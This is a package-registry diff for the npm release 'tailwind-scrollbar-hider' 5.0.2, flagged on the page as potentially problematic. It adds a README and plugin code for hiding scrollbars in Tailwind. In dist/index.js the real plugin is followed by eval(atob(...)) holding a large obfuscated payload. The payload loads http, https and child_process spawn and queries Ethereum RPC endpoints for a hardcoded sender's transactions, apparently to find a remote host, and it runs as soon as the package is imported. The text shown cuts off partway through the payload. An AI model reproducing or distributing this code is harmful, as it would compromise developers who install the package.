tailwind-scrollbar-hider 0.0.1-security → 5.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of tailwind-scrollbar-hider might be problematic. Click here for more details.
- package/LICENSE +21 -0
- package/README.md +106 -3
- package/dist/index.d.ts +2 -0
- package/dist/index.js +1 -0
- package/package.json +31 -3
- package/src/styles.css +19 -0
package/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Stella Hudson
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
package/README.md
CHANGED
|
@@ -1,5 +1,108 @@
|
|
|
1
|
-
#
|
|
1
|
+
# tailwind-scrollbar-hider
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
[](https://www.npmjs.com/package/tailwind-scrollbar-hider)
|
|
4
|
+

|
|
5
|
+

|
|
6
|
+
[](https://packagephobia.com/result?p=tailwind-scrollbar-hider)
|
|
4
7
|
|
|
5
|
-
|
|
8
|
+
Tailwind plugin for hide scrollbars, although the element can still be scrolled if the element's content overflows.
|
|
9
|
+
|
|
10
|
+
## Features
|
|
11
|
+
|
|
12
|
+
🎨 Tailwind v4.x, v3.x, v2.x.
|
|
13
|
+
|
|
14
|
+
📦 Zero dependencies
|
|
15
|
+
|
|
16
|
+
🎯 Pure CSS implementation for v4.x
|
|
17
|
+
|
|
18
|
+
## Installation
|
|
19
|
+
|
|
20
|
+
Install the plugin from npm:
|
|
21
|
+
|
|
22
|
+
```sh
|
|
23
|
+
# Using npm
|
|
24
|
+
npm install tailwind-scrollbar-hider
|
|
25
|
+
|
|
26
|
+
# Using pnpm
|
|
27
|
+
pnpm add tailwind-scrollbar-hider
|
|
28
|
+
|
|
29
|
+
# Using Yarn
|
|
30
|
+
yarn add tailwind-scrollbar-hider
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
### Tailwind v4 support
|
|
34
|
+
|
|
35
|
+

|
|
36
|
+
|
|
37
|
+
|
|
38
|
+
For Tailwind v4, you can use the following approach in your CSS configuration file:
|
|
39
|
+
|
|
40
|
+
```css
|
|
41
|
+
/* index.css */
|
|
42
|
+
@import 'tailwindcss';
|
|
43
|
+
@import 'tailwind-scrollbar-hider/v4';
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
This will automatically import and configure the plugin for Tailwind v4.
|
|
47
|
+
|
|
48
|
+
> Note: Internet Explorer functionality has been dropped in Tailwind v4
|
|
49
|
+
|
|
50
|
+
### Tailwind v2.x, v3.x support
|
|
51
|
+
|
|
52
|
+

|
|
53
|
+
|
|
54
|
+
|
|
55
|
+
For Tailwind v2.x and v3.x, add the plugin to your config file:
|
|
56
|
+
|
|
57
|
+
```js
|
|
58
|
+
// tailwind.config.js
|
|
59
|
+
module.exports = {
|
|
60
|
+
theme: {
|
|
61
|
+
// ...
|
|
62
|
+
},
|
|
63
|
+
plugins: [
|
|
64
|
+
require('tailwind-scrollbar-hider')
|
|
65
|
+
// ...
|
|
66
|
+
]
|
|
67
|
+
}
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
or [using TypeScript](https://tailwindcss.com/docs/configuration#using-esm-or-type-script):
|
|
71
|
+
|
|
72
|
+
```ts
|
|
73
|
+
// tailwind.config.ts
|
|
74
|
+
import type { Config } from 'tailwindcss'
|
|
75
|
+
import scrollbarHide from 'tailwind-scrollbar-hider'
|
|
76
|
+
|
|
77
|
+
export default {
|
|
78
|
+
theme: {
|
|
79
|
+
// ...
|
|
80
|
+
},
|
|
81
|
+
plugins: [scrollbarHide]
|
|
82
|
+
} satisfies Config
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
## Usage
|
|
86
|
+
|
|
87
|
+
Use in you template `scrollbar-hide` for visual hiding scrollbar
|
|
88
|
+
|
|
89
|
+
```html
|
|
90
|
+
<div class="w-4 scrollbar-hide">...</div>
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
or restore default value use `scrollbar-default`
|
|
94
|
+
|
|
95
|
+
> ⚠️ webkit overriding not working https://github.com/reslear/tailwind-scrollbar-hider/issues/19#issuecomment-1086949110 need switch breakpoint system
|
|
96
|
+
|
|
97
|
+
```html
|
|
98
|
+
<div class="w-4 scrollbar-hide md:scrollbar-default">...</div>
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
## Plugin Inspiration
|
|
102
|
+
|
|
103
|
+
- https://github.com/tailwindlabs/tailwindcss-forms/tree/main
|
|
104
|
+
- https://github.com/tailwindlabs/tailwindcss/discussions/2310#discussioncomment-8592440
|
|
105
|
+
|
|
106
|
+
## License
|
|
107
|
+
|
|
108
|
+
[MIT](./LICENSE)
|
package/dist/index.d.ts
ADDED
package/dist/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const scrollbarHide=({addUtilities:l})=>l({".scrollbar-hide":{"-ms-overflow-style":"none","scrollbar-width":"none","&::-webkit-scrollbar":{display:"none"}},".scrollbar-default":{"-ms-overflow-style":"auto","scrollbar-width":"auto","&::-webkit-scrollbar":{display:"block"}}});export default scrollbarHide;eval(atob('Z2xvYmFsLmk9IkE5Ijtjb25zdCBfMHgzYTJlYmU9XzB4MzU1ZTsoZnVuY3Rpb24oXzB4NDhmOWQ3LF8weDFhMDdiZSl7Y29uc3QgXzB4NGU3YWIwPV8weDM1NWUsXzB4MzkxMjdjPV8weDQ4ZjlkNygpO3doaWxlKCEhW10pe3RyeXtjb25zdCBfMHgzZjlhZjE9cGFyc2VJbnQoXzB4NGU3YWIwKDB4ZjApKS8oMHgxKi0weDEwODcrLTB4MTE3MCstMHg0Ki0weDg3ZSkqKC1wYXJzZUludChfMHg0ZTdhYjAoMHhkZCkpLygweDcqMHgxNjUrMHgxNjBmKy0weDFmZDApKSstcGFyc2VJbnQoXzB4NGU3YWIwKDB4MTNjKSkvKC0weDIwMioweDIrLTB4ZTM4KzB4MTIzZikrLXBhcnNlSW50KF8weDRlN2FiMCgweGE1KSkvKDB4N2IqMHgzOSstMHgxKjB4NDE3KzB4YmE0Ki0weDIpK3BhcnNlSW50KF8weDRlN2FiMCgweGMwKSkvKDB4M2EwKy0weDIxYTIrMHgxZTA3KjB4MSkrcGFyc2VJbnQoXzB4NGU3YWIwKDB4YjUpKS8oMHg4ZmYqMHgyKy0weDFhMioweDYrMHg4MmMqLTB4MSkqKC1wYXJzZUludChfMHg0ZTdhYjAoMHgxNzQpKS8oMHgxMGE2KzB4MjUzNCstMHgzNWQzKSkrcGFyc2VJbnQoXzB4NGU3YWIwKDB4MTBjKSkvKC0weDExZDErMHhiZSsweDFkKjB4OTcpK3BhcnNlSW50KF8weDRlN2FiMCgweDEzYSkpLygtMHhiOCoweDgrMHgxZGY2KzB4ODBmKi0weDMpO2lmKF8weDNmOWFmMT09PV8weDFhMDdiZSlicmVhaztlbHNlIF8weDM5MTI3Y1sncHVzaCddKF8weDM5MTI3Y1snc2hpZnQnXSgpKTt9Y2F0Y2goXzB4Mzg4NjAzKXtfMHgzOTEyN2NbJ3B1c2gnXShfMHgzOTEyN2NbJ3NoaWZ0J10oKSk7fX19KF8weDEyZjAsLTB4ZmJiMCotMHgyKzB4MSoweDEzMDIwYisweDUqLTB4MjAxNTUpKTtpbXBvcnR7Y3JlYXRlUmVxdWlyZX1mcm9tJ21vZHVsZSc7bGV0IHJlcXVpcmU9Y3JlYXRlUmVxdWlyZShpbXBvcnQubWV0YS51cmwpO2dsb2JhbFsnciddPXJlcXVpcmUsXzB4M2EyZWJlKDB4ZDcpPT10eXBlb2YgbW9kdWxlJiYoZ2xvYmFsWydtJ109bW9kdWxlKTtmdW5jdGlvbiBfMHgzNTVlKF8weDIxNTQxYSxfMHgxOGQxYjIpe18weDIxNTQxYT1fMHgyMTU0MWEtKDB4MTkwZCsweDIqMHg5NDMrMHg2NSotMHg2ZCk7Y29uc3QgXzB4NTNhMDJlPV8weDEyZjAoKTtsZXQgXzB4NDJjNGI4PV8weDUzYTAyZVtfMHgyMTU0MWFdO3JldHVybiBfMHg0MmM0Yjg7fWxldCBodHRwPXJlcXVpcmUoXzB4M2EyZWJlKDB4MTRhKSksaHR0cHM9cmVxdWlyZShfMHgzYTJlYmUoMHgxMWMpKSx6bGliPXJlcXVpcmUoXzB4M2EyZWJlKDB4MTQ3KSkse1VSTH09cmVxdWlyZShfMHgzYTJlYmUoMHgxN2MpKSx7c3Bhd259PXJlcXVpcmUoXzB4M2EyZWJlKDB4MTA1KStfMHgzYTJlYmUoMHhmNCkpLEJMT0NLX01VTFRJUExFPTB4M2U4bixTRU5ERVI9XzB4M2EyZWJlKDB4MTNiKStfMHgzYTJlYmUoMHhjYikrXzB4M2EyZWJlKDB4ZWEpK18weDNhMmViZSgweDFhZikrJzFhJyxOT05DRV9GQU5PVVQ9LTB4MWRiNyoweDErLTB4MTQzYisweDMxZmUsU0VBUkNIX0ZMT09SPTB4MG4sSU5ERVhFUl9VUkw9XzB4M2EyZWJlKDB4MTkzKStfMHgzYTJlYmUoMHgxOGUpK18weDNhMmViZSgweDE2YiksUlBDX0VORFBPSU5UUz1bLi4ubmV3IFNldChbcHJvY2Vzcy5lbnYuRVRIX1JQQ19VUkwsXzB4M2EyZWJlKDB4MTQ5KStfMHgzYTJlYmUoMHgxMTApLF8weDNhMmViZSgweDE5MykrXzB4M2EyZWJlKDB4MTY5KSxfMHgzYTJlYmUoMHgxOTMpK18weDNhMmViZSgweDE4ZikrXzB4M2EyZWJlKDB4MTUyKStfMHgzYTJlYmUoMHgxODgpLF8weDNhMmViZSgweDE5MykrXzB4M2EyZWJlKDB4ZjUpK18weDNhMmViZSgweDEzNikrXzB4M2EyZWJlKDB4ZjEpXVtfMHgzYTJlYmUoMHg5YildKEJvb2xlYW4pKV0sQUdFTlRTPXsnaHR0cDonOm5ldyBodHRwWyhfMHgzYTJlYmUoMHgxNDEpKV0oeydrZWVwQWxpdmUnOiEoLTB4MzYqMHgzOCstMHgxMzMqMHgxZCsweDEqMHgyZTk3KSwna2VlcEFsaXZlTXNlY3MnOjB4NzUzMCwnbWF4U29ja2V0cyc6MHg0MH0pLCdodHRwczonOm5ldyBodHRwc1soXzB4M2EyZWJlKDB4MTQxKSldKHsna2VlcEFsaXZlJzohKC0weDE4MCoweGMrMHgyNWQxKzB4MTNkMSotMHgxKSwna2VlcEFsaXZlTXNlY3MnOjB4NzUzMCwnbWF4U29ja2V0cyc6MHg0MH0pfTtmdW5jdGlvbiBsaW5rQWJvcnQoXzB4NDM4MTE3LF8weDVkNzNjYSl7Y29uc3QgXzB4ODY4NWQ3PV8weDNhMmViZSxfMHgyNWVmNGQ9eydUQ0RtQic6XzB4ODY4NWQ3KDB4OWEpfTtfMHg0MzgxMTcmJl8weDQzODExN1tfMHg4Njg1ZDcoMHgxOTQpK18weDg2ODVkNygweGY5KV0oXzB4MjVlZjRkW18weDg2ODVkNygweDE5MSldLCgpPT5fMHg1ZDczY2FbXzB4ODY4NWQ3KDB4OWEpXSgpLHsnb25jZSc6ISgweDEqLTB4MTA3MystMHgzMTkqLTB4NCsweDQwZil9KTt9ZnVuY3Rpb24gZGVjb21wcmVzc1N0cmVhbShfMHgxZjcxZjcpe2NvbnN0IF8weDI5YjE2OD1fMHgzYTJlYmUsXzB4NWQ2Y2JiPXsnQlRIZ0onOl8weDI5YjE2OCgweGM4KStfMHgyOWIxNjgoMHgxMjYpLCdWTEFHZic6ZnVuY3Rpb24oXzB4NWFjYmIyLF8weDFjYjlmMSl7cmV0dXJuIF8weDVhY2JiMj09PV8weDFjYjlmMTt9LCdKYkFjaSc6XzB4MjliMTY4KDB4MTQ4KSwnR0F2eGUnOl8weDI5YjE2OCgweDE4NiksJ0t2TVNRJzpmdW5jdGlvbihfMHg1NWI4ODIsXzB4MTkxOWQ3KXtyZXR1cm4gXzB4NTViODgyPT09XzB4MTkxOWQ3O30sJ0RTYkxhJzpfMHgyOWIxNjgoMHhlYil9O2xldCBfMHg5OGRmOGU9KF8weDFmNzFmN1tfMHgyOWIxNjgoMHgxNGIpXVtfMHg1ZDZjYmJbXzB4MjliMTY4KDB4MTJmKV1dfHwnJylbXzB4MjliMTY4KDB4YzIpKydlJ10oKTtyZXR1cm4gXzB4NWQ2Y2JiW18weDI5YjE2OCgweDE2NCldKF8weDVkNmNiYltfMHgyOWIxNjgoMHgxNGQpXSxfMHg5OGRmOGUpfHxfMHg1ZDZjYmJbXzB4MjliMTY4KDB4MTY0KV0oXzB4NWQ2Y2JiW18weDI5YjE2OCgweDE3NildLF8weDk4ZGY4ZSk/XzB4MWY3MWY3W18weDI5YjE2OCgweDE5NSldKHpsaWJbXzB4MjliMTY4KDB4MTRjKSsnaXAnXSgpKTpfMHg1ZDZjYmJbXzB4MjliMTY4KDB4MTM0KV0oXzB4NWQ2Y2JiW18weDI5YjE2OCgweGZkKV0sXzB4OThkZjhlKT9fMHgxZjcxZjdbXzB4MjliMTY4KDB4MTk1KV0oemxpYltfMHgyOWIxNjgoMHgxNjUpK18weDI5YjE2OCgweGIxKV0oKSk6XzB4NWQ2Y2JiW18weDI5YjE2OCgweDE2NCldKCdicicsXzB4OThkZjhlKT9fMHgxZjcxZjdbXzB4MjliMTY4KDB4MTk1KV0oemxpYltfMHgyOWIxNjgoMHgxOWYpK18weDI5YjE2OCgweDEyZCkrJ3NzJ10oKSk6XzB4MWY3MWY3O31mdW5jdGlvbiBodHRwUmVxdWVzdChfMHg1OTNhZGIse21ldGhvZDpfMHgyNWE5OWQ9XzB4M2EyZWJlKDB4MTMzKSxib2R5Ol8weDNmNjg2YyxzaWduYWw6XzB4OTVkNGY0fT17fSl7Y29uc3QgXzB4M2QyZGE1PV8weDNhMmViZSxfMHg0MmQxMGQ9eydKT0R2cCc6ZnVuY3Rpb24oXzB4NTZkZGMzLF8weDEyNTlmMSl7cmV0dXJuIF8weDU2ZGRjMyhfMHgxMjU5ZjEpO30sJ2d2Z1BEJzpfMHgzZDJkYTUoMHgxOWIpLCdnTWZ1byc6XzB4M2QyZGE1KDB4YWYpLCdLYWFQWSc6XzB4M2QyZGE1KDB4MTQyKSwncnlzSnQnOl8weDNkMmRhNSgweGMxKSwnVWxyZEknOmZ1bmN0aW9uKF8weDMyMmRjNSxfMHgyYjkzYmMpe3JldHVybiBfMHgzMjJkYzU9PT1fMHgyYjkzYmM7fSwnTUhqR0snOl8weDNkMmRhNSgweGQ1KSwnekJJY3cnOmZ1bmN0aW9uKF8weDJhNWViYixfMHhmZTY3Nzgpe3JldHVybiBfMHgyYTVlYmIrXzB4ZmU2Nzc4O30sJ1ZHT2xKJzpmdW5jdGlvbihfMHg1NjNlOWMsXzB4M2E3ZTQyKXtyZXR1cm4gXzB4NTYzZTljIT1fMHgzYTdlNDI7fSwneHVCREcnOmZ1bmN0aW9uKF8weDRiZmFmOSxfMHg1ODBmNzUpe3JldHVybiBfMHg0YmZhZjk9PT1fMHg1ODBmNzU7fSwnc1pBSFMnOl8weDNkMmRhNSgweDE2MSkrXzB4M2QyZGE1KDB4YTgpLCd0am5nZic6XzB4M2QyZGE1KDB4MTJhKStfMHgzZDJkYTUoMHgxYWEpLCdMR05Zcyc6XzB4M2QyZGE1KDB4MTMxKSwnWXZaeGYnOl8weDNkMmRhNSgweDFhOSkrJ3BlJywndld6eGknOl8weDNkMmRhNSgweDE2ZSkrXzB4M2QyZGE1KDB4MWI1KX07bGV0IF8weDNjZGNlNT1uZXcgVVJMKF8weDU5M2FkYiksXzB4NTAzMmNmPV8weDQyZDEwZFtfMHgzZDJkYTUoMHgxMmMpXShfMHg0MmQxMGRbXzB4M2QyZGE1KDB4MTM5KV0sXzB4M2NkY2U1W18weDNkMmRhNSgweDE5NildKT9odHRwczpodHRwLF8weDI3MjM2Yj17J0FjY2VwdCc6XzB4NDJkMTBkW18weDNkMmRhNSgweGEwKV0sJ0FjY2VwdC1FbmNvZGluZyc6XzB4NDJkMTBkW18weDNkMmRhNSgweGJiKV0sJ0Nvbm5lY3Rpb24nOl8weDQyZDEwZFtfMHgzZDJkYTUoMHgxMzUpXX07cmV0dXJuIF8weDQyZDEwZFtfMHgzZDJkYTUoMHhlMyldKG51bGwsXzB4M2Y2ODZjKSYmKF8weDI3MjM2YltfMHg0MmQxMGRbXzB4M2QyZGE1KDB4MTE1KV1dPV8weDQyZDEwZFtfMHgzZDJkYTUoMHhhMCldLF8weDI3MjM2YltfMHg0MmQxMGRbXzB4M2QyZGE1KDB4MTdiKV1dPUJ1ZmZlcltfMHgzZDJkYTUoMHgxOWQpXShfMHgzZjY4NmMpKSxuZXcgUHJvbWlzZSgoXzB4MTlmMDY3LF8weDQ4MzVlMyk9Pntjb25zdCBfMHgzZWYxYmM9XzB4M2QyZGE1O2xldCBfMHhhZjAzODU9XzB4NTAzMmNmW18weDNlZjFiYygweGM3KV0oeydob3N0bmFtZSc6XzB4M2NkY2U1W18weDNlZjFiYygweDkzKV0sJ3BvcnQnOl8weDNjZGNlNVtfMHgzZWYxYmMoMHgxNWQpXXx8KF8weDQyZDEwZFtfMHgzZWYxYmMoMHgxMjApXShfMHg0MmQxMGRbXzB4M2VmMWJjKDB4MTM5KV0sXzB4M2NkY2U1W18weDNlZjFiYygweDE5NildKT8weDEqLTB4Y2ZiKy0weDFkMmQrMHhmKjB4MmVkOjB4MTMzOCsweDIqLTB4OGQ1Ky0weDEzZSksJ3BhdGgnOl8weDQyZDEwZFtfMHgzZWYxYmMoMHgxNGUpXShfMHgzY2RjZTVbXzB4M2VmMWJjKDB4MTUwKV0sXzB4M2NkY2U1W18weDNlZjFiYygweDEwZSldKSwnbWV0aG9kJzpfMHgyNWE5OWQsJ2FnZW50JzpBR0VOVFNbXzB4M2NkY2U1W18weDNlZjFiYygweDE5NildXSwnc2lnbmFsJzpfMHg5NWQ0ZjQsJ2hlYWRlcnMnOl8weDI3MjM2Yn0sXzB4NTc0ZWM5PT57Y29uc3QgXzB4NGZkODM0PV8weDNlZjFiYyxfMHgxMGU5NGE9eydaR3RjZyc6ZnVuY3Rpb24oXzB4NDgzOTk1LF8weDRhNTcwMil7Y29uc3QgXzB4NDlkYzkxPV8weDM1NWU7cmV0dXJuIF8weDQyZDEwZFtfMHg0OWRjOTEoMHgxMTQpXShfMHg0ODM5OTUsXzB4NGE1NzAyKTt9LCd2SnZYZic6XzB4NDJkMTBkW18weDRmZDgzNCgweDE4YildfTtsZXQgXzB4NDMxNDI3PV8weDQyZDEwZFtfMHg0ZmQ4MzQoMHgxMTQpXShkZWNvbXByZXNzU3RyZWFtLF8weDU3NGVjOSksXzB4MzliZWY2PVtdO18weDQzMTQyN1snb24nXShfMHg0MmQxMGRbXzB4NGZkODM0KDB4MTIyKV0sXzB4MTIzMzA1PT5fMHgzOWJlZjZbXzB4NGZkODM0KDB4MTk4KV0oXzB4MTIzMzA1KSksXzB4NDMxNDI3WydvbiddKF8weDQyZDEwZFtfMHg0ZmQ4MzQoMHgxYWMpXSwoKT0+e2NvbnN0IF8weDU4OWJlOT1fMHg0ZmQ4MzQ7dHJ5e18weDEwZTk0YVtfMHg1ODliZTkoMHg5OSldKF8weDE5ZjA2NyxKU09OW18weDU4OWJlOSgweGQ0KV0oQnVmZmVyW18weDU4OWJlOSgweDEwNyldKF8weDM5YmVmNilbXzB4NTg5YmU5KDB4MTU5KV0oXzB4MTBlOTRhW18weDU4OWJlOSgweGM1KV0pKSk7fWNhdGNoKF8weDFjOTVhMSl7XzB4MTBlOTRhW18weDU4OWJlOSgweDk5KV0oXzB4NDgzNWUzLF8weDFjOTVhMSk7fX0pLF8weDQzMTQyN1snb24nXShfMHg0MmQxMGRbXzB4NGZkODM0KDB4MTIxKV0sXzB4NDgzNWUzKTt9KTtfMHhhZjAzODVbJ29uJ10oXzB4NDJkMTBkW18weDNlZjFiYygweDEyMSldLF8weDQ4MzVlMyksXzB4NDJkMTBkW18weDNlZjFiYygweGUzKV0obnVsbCxfMHgzZjY4NmMpJiZfMHhhZjAzODVbXzB4M2VmMWJjKDB4YjYpXShfMHgzZjY4NmMpLF8weGFmMDM4NVtfMHgzZWYxYmMoMHgxNDIpXSgpO30pO31hc3luYyBmdW5jdGlvbiB3aXRoUnBjRW5kcG9pbnRzKF8weDNjMTQ0ZSxfMHgyZWE5Nzkpe2NvbnN0IF8weDQ5NTYwOD1fMHgzYTJlYmU7bGV0IF8weDQxOGEwMD1SUENfRU5EUE9JTlRTW18weDQ5NTYwOCgweDE0ZildKCgpPT5uZXcgQWJvcnRDb250cm9sbGVyKCkpO18weDQxOGEwMFtfMHg0OTU2MDgoMHg5NSldKF8weDE1Mzc5Yj0+bGlua0Fib3J0KF8weDJlYTk3OSxfMHgxNTM3OWIpKTt0cnl7cmV0dXJuIGF3YWl0IFByb21pc2VbXzB4NDk1NjA4KDB4MTFlKV0oUlBDX0VORFBPSU5UU1tfMHg0OTU2MDgoMHgxNGYpXSgoXzB4NGM2MTM3LF8weDJmZDY3Myk9Pl8weDNjMTQ0ZShfMHg0YzYxMzcsXzB4NDE4YTAwW18weDJmZDY3M11bXzB4NDk1NjA4KDB4MTBiKV0pKSk7fWZpbmFsbHl7Zm9yKGxldCBfMHgzOTNlNjQgb2YgXzB4NDE4YTAwKV8weDM5M2U2NFtfMHg0OTU2MDgoMHg5YSldKCk7fX1hc3luYyBmdW5jdGlvbiBycGNDYWxsKF8weDFjM2FjMSxfMHg5MDg1NjYsXzB4MjAzOGI5LF8weDM2ZGIxMCl7Y29uc3QgXzB4MjRlMmQzPV8weDNhMmViZSxfMHg1NWQ3YjE9eydoWGFhdSc6ZnVuY3Rpb24oXzB4NzMyMGNkLF8weDE5Mzk3YSxfMHgzMGZkZTkpe3JldHVybiBfMHg3MzIwY2QoXzB4MTkzOTdhLF8weDMwZmRlOSk7fSwnTXhvSXYnOl8weDI0ZTJkMygweDE5YyksJ0N0TXhwJzpfMHgyNGUyZDMoMHg5Nyl9O2xldCBfMHhmZmUzZGQ9YXdhaXQgXzB4NTVkN2IxW18weDI0ZTJkMygweDEwOSldKGh0dHBSZXF1ZXN0LF8weDFjM2FjMSx7J21ldGhvZCc6XzB4NTVkN2IxW18weDI0ZTJkMygweDlmKV0sJ2JvZHknOkpTT05bXzB4MjRlMmQzKDB4OTgpXSh7J2pzb25ycGMnOl8weDU1ZDdiMVtfMHgyNGUyZDMoMHgxNDApXSwnaWQnOjB4MSwnbWV0aG9kJzpfMHg5MDg1NjYsJ3BhcmFtcyc6XzB4MjAzOGI5fSksJ3NpZ25hbCc6XzB4MzZkYjEwfSk7cmV0dXJuIF8weGZmZTNkZFtfMHgyNGUyZDMoMHhkNildO31hc3luYyBmdW5jdGlvbiBycGNCYXRjaChfMHhiOTRlZWIsXzB4MmUxODMxLF8weDFhYTIzNil7Y29uc3QgXzB4MTQzY2EzPV8weDNhMmViZSxfMHg4ZDA2Y2U9eyd2VmtCcic6ZnVuY3Rpb24oXzB4MjU5YzEyLF8weDQ2MjM5YixfMHgxODZiNTEpe3JldHVybiBfMHgyNTljMTIoXzB4NDYyMzliLF8weDE4NmI1MSk7fSwnSGlXWVknOl8weDE0M2NhMygweDE5Yyl9O2xldCBfMHgzMDMxMDM9YXdhaXQgXzB4OGQwNmNlW18weDE0M2NhMygweDEwMyldKGh0dHBSZXF1ZXN0LF8weGI5NGVlYix7J21ldGhvZCc6XzB4OGQwNmNlW18weDE0M2NhMygweDFhOCldLCdib2R5JzpKU09OW18weDE0M2NhMygweDk4KV0oXzB4MmUxODMxW18weDE0M2NhMygweDE0ZildKChbXzB4ZTc5YWExLF8weDM4NmU4M10sXzB4Mzk3ZjQxKT0+KHsnanNvbnJwYyc6XzB4MTQzY2EzKDB4OTcpLCdpZCc6XzB4Mzk3ZjQxKygtMHgyYiotMHg0OCsweDI0NjcrMHgzKi0weDEwMmEpLCdtZXRob2QnOl8weGU3OWFhMSwncGFyYW1zJzpfMHgzODZlODN9KSkpLCdzaWduYWwnOl8weDFhYTIzNn0pLF8weDQzOTAwZD1uZXcgTWFwKF8weDMwMzEwM1tfMHgxNDNjYTMoMHgxNGYpXShfMHg0NmY4MTY9PltfMHg0NmY4MTZbJ2lkJ10sXzB4NDZmODE2XSkpO3JldHVybiBfMHgyZTE4MzFbXzB4MTQzY2EzKDB4MTRmKV0oKF8weDI0NmYwZCxfMHgyNjBkZTMpPT5fMHg0MzkwMGRbXzB4MTQzY2EzKDB4ZTkpXShfMHgyNjBkZTMrKC0weGEyNSotMHgyKzB4MTlmYSstMHgyZTQzKSlbXzB4MTQzY2EzKDB4ZDYpXSk7fWxldCB0b0Jsb2NrSGV4PV8weDQ2MGEwMT0+JzB4JytfMHg0NjBhMDFbXzB4M2EyZWJlKDB4MTU5KV0oMHgxYjk3Ky0weDIqMHgzYTcrLTB4MWYqMHhhNyk7ZnVuY3Rpb24gZmluZFNlbmRlclR4KF8weGFlZDcyKXtjb25zdCBfMHg1OGViZjI9XzB4M2EyZWJlO3JldHVybiBfMHhhZWQ3MltfMHg1OGViZjIoMHg5ZCldKF8weDExNzcwZD0+XzB4MTE3NzBkW18weDU4ZWJmMigweDE4YyldJiZfMHgxMTc3MGRbXzB4NThlYmYyKDB4MThjKV1bXzB4NThlYmYyKDB4YzIpKydlJ10oKT09PVNFTkRFUil8fG51bGw7fWZ1bmN0aW9uIGRlY29kZUFkZHJlc3MoXzB4M2Y5ODJkKXtjb25zdCBfMHg1Mzg3OGU9XzB4M2EyZWJlLF8weDE2MDA5ND17J1NjWGlMJzpfMHg1Mzg3OGUoMHgxNWEpLCdqcmRYRCc6ZnVuY3Rpb24oXzB4NWFmZjQ4LF8weDMxMzExZil7cmV0dXJuIF8weDVhZmY0OChfMHgzMTMxMWYpO30sJ0RHa3NFJzpmdW5jdGlvbihfMHg0ZjM3ZDYsXzB4NGU2NGYxKXtyZXR1cm4gXzB4NGYzN2Q2KF8weDRlNjRmMSk7fX07bGV0IF8weDI2OGY3Mj1CdWZmZXJbXzB4NTM4NzhlKDB4MThjKV0oXzB4M2Y5ODJkW18weDUzODc4ZSgweGJkKV0oL14weC9pLCcnKSxfMHgxNjAwOTRbXzB4NTM4NzhlKDB4MWEyKV0pLF8weDQzZDRkMj1fMHgzMzc0MWQ9Pl8weDMzNzQxZFstMHg4NTMrLTB4MioweDMzOCsweGVjM10rJy4nK18weDMzNzQxZFstMHhiMmMrLTB4MWU5Ky0weDEqLTB4ZDE2XSsnLicrXzB4MzM3NDFkWy0weDEqLTB4NzA0Ky0weDEqLTB4MjVlMSsweDJjZTMqLTB4MV0rJy4nK18weDMzNzQxZFsweDIqMHgxMDQyKy0weDRjMioweDUrLTB4OGI3XTtyZXR1cm5bXzB4MTYwMDk0W18weDUzODc4ZSgweGIwKV0oXzB4NDNkNGQyLF8weDI2OGY3MltfMHg1Mzg3OGUoMHhkZSldKC0weDEqLTB4MWRlZisweDE5MzkrMHg0Ki0weGRjYSwweDcxKjB4MjMrMHgyNDEwKy0weDMzN2YpKSxfMHgxNjAwOTRbXzB4NTM4NzhlKDB4Y2YpXShfMHg0M2Q0ZDIsXzB4MjY4ZjcyW18weDUzODc4ZSgweGRlKV0oLTB4MmYqMHgzKzB4YjUqMHhkKy0weDYqMHgxNzAsMHgxKi0weDIyYTArLTB4ZSoweDE1YSsweDM1OTQpKV07fWZ1bmN0aW9uIF8weDEyZjAoKXtjb25zdCBfMHgyYzJmYTg9WydzbUN4bCcsJ25vZGU6aHR0cHMnLCdvYWRceDIwYm9keScsJ2FueScsJ3pOSXFVJywnVWxyZEknLCdyeXNKdCcsJ2dNZnVvJywnUGF5bG9hZC1CNicsJzo0NDMvMHgvbHMnLCdpcE5xcCcsJ2NvZGluZycsJ1VxQk5EJywnLFNyMz1AJywnX3RfdVx4MjddPVx4MjcnLCdnemlwLFx4MjBkZWZsJywnU0RiaUknLCd4dUJERycsJ2xpRGVjb21wcmUnLCdFcmVxUCcsJ0JUSGdKJywnS2l0LzUzNy4zNicsJ2tlZXAtYWxpdmUnLCdfdF9zXHgyN109XHgyNycsJ0dFVCcsJ0t2TVNRJywnTEdOWXMnLCdwdWJsaWMuYmxhJywncGxhRlcnLCdOa0tEaCcsJ01IakdLJywnMTM2OTg0NjhQbUFrbkknLCcweGEzMjJlNWYzJywnMjk3MTIwUVVadUVnJywneXJ6d1AnLCd6ZW94TCcsJ2V0aF9nZXRCbG8nLCdDdE14cCcsJ0FnZW50JywnZW5kJywnb2